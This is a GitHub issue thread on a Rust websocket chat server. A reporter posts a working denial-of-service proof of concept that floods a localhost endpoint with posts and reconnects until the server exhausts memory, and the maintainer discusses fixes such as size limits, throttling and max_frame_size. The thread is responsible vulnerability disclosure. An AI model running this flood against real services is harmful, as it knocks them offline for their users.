Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Denial of Service #1

Open
FSMaxB opened this issue May 21, 2020 · 4 comments
Open

Denial of Service #1

FSMaxB opened this issue May 21, 2020 · 4 comments

Comments

@FSMaxB
Copy link

FSMaxB commented May 21, 2020

Small proof of concept of a Denial of Service Attack:

use crate::proto::{Input, JoinInput, PostInput};
use tungstenite::Message;
use std::time::Duration;

mod proto;

fn main() {

	let zeros = vec![48u8; 256];
	let string = String::from_utf8(zeros).expect("Invalid UTF-8");
	loop {
		println!("Outer loop iteration!");
		let (mut websocket, _) = tungstenite::connect("ws://localhost:8080/feed").expect("Failed to connect");
		let join_input = Input::Join(JoinInput { name: "Evil Eve".to_string() });
		let join_message = Message::Text(serde_json::to_string(&join_input).expect("Failed to serialize join input."));
		websocket.write_message(join_message);
		//let received = websocket.read_message().expect("Failed to receive response to Join Message");
		//println!("Received: {:?}", received);

		let post_input = Input::Post(PostInput { body: string.clone() });
		let post_message = Message::Text(serde_json::to_string(&post_input).expect("Failed to serialize post input."));
		for inner_count in 0..usize::MAX {
			if inner_count % 10000 == 0 {
				println!("Inner count: {}", inner_count);
			}
			if websocket.write_message(post_message.clone()).is_err() {
				break;
			}
			websocket.read_message();
		}
		std::thread::sleep(Duration::from_secs(1));
	}
}

My first thought was that I could just stop reading the responses from the server (websocket.read_message()) but then it seems like tokio-tungstenite detects that and closes the connection: [2020-05-21T09:01:59Z ERROR rusty_chat::server] Client connection error: system error: channel lagged by 351.

Not reading the response and constantly trying to reconnect though is already enough to prevent other clients from joining.

When I start reading the responses as seen in the example above, the Feed will still fill up with messages until at some point the server will be killed because it uses too much memory.

@FSMaxB
Copy link
Author

FSMaxB commented May 21, 2020

Correction: The channel lagged error messages is coming from tokio::sync::broadcast.

@tinrab
Copy link
Owner

tinrab commented May 21, 2020

It would certainly be good to prevent this. First steps could include limiting the request body size with warp::filters::body::content_length_limit and throttling client's read stream with tokio::time::throttle.

@FSMaxB
Copy link
Author

FSMaxB commented May 24, 2020

I think the biggest problem at the moment is that the feed has an unlimited size. This probably also the reason why joining the chat doesn't work reliably in this scenario, because the client has problems receiving such a large response.

Another thing to look at: https://docs.rs/tungstenite/0.10.0/tungstenite/protocol/struct.WebSocketConfig.html (also used by tokio-tungstenite). But after a quick look I didn't find a way to pass this configuration to warp websocket filter.

@tinrab
Copy link
Owner

tinrab commented Jun 7, 2020

max_frame_size was added in warp = "0.2.3".

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants